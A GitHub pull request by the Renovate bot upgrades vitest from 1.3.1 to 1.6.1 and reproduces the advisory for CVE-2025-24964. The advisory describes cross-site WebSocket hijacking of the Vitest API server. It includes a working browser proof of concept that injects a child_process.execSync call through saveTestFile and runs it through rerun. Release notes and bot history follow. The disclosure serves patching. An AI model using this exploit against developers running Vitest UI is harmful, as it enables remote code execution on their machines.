Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Feb 4, 2025

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 1.3.1 -> 1.6.1 age confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.


Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v1.6.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v1.5.3

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v1.5.1

Compare Source

   🚀 Features
  • api: startVitest() to accept stdout and stdin  -  by @​AriPerkkio in #​5493 (780b1)
    • This is listed as a feature, but it doesn't increase the minor version because startVitest API is experimental and doesn't follow semver.
   🐞 Bug Fixes
    View changes on GitHub

v1.5.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v1.4.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@changeset-bot
Copy link

changeset-bot bot commented Feb 4, 2025

⚠️ No Changeset found

Latest commit: c683acf

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@renovate renovate bot changed the title Update dependency vitest to v1.6.1 [SECURITY] chore(deps): update dependency vitest to v1.6.1 [security] Feb 5, 2025
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 714a3cb to 08d72c8 Compare February 9, 2025 17:39
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 08d72c8 to 940be0c Compare March 3, 2025 12:24
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 940be0c to 8e99498 Compare March 11, 2025 10:23
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 8e99498 to 08edb07 Compare March 13, 2025 19:50
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 08edb07 to 3ba9267 Compare March 17, 2025 13:37
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 3ba9267 to 0b6ecb9 Compare April 1, 2025 13:59
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 0b6ecb9 to 7423ad1 Compare April 8, 2025 14:23
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 7423ad1 to 4a31c85 Compare April 24, 2025 07:04
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 4a31c85 to ba61204 Compare May 19, 2025 16:14
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from ba61204 to fbf9b33 Compare May 28, 2025 15:48
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from fbf9b33 to b40b024 Compare June 4, 2025 12:03
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from b40b024 to f694cb5 Compare June 22, 2025 13:46
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from f694cb5 to 44b8602 Compare July 2, 2025 18:30
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 44b8602 to bde59e1 Compare August 4, 2025 23:58
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from bde59e1 to f52c26f Compare August 10, 2025 13:12
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from f52c26f to b7396ee Compare August 13, 2025 13:38
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from b7396ee to 656004e Compare August 19, 2025 19:06
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 656004e to 2f8e05f Compare August 31, 2025 09:52
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 2f8e05f to 432f326 Compare September 25, 2025 20:08
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 432f326 to 48ed515 Compare September 25, 2025 20:16
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 48ed515 to 31593f9 Compare October 21, 2025 23:53
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 31593f9 to 72b0d7f Compare November 11, 2025 00:59
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant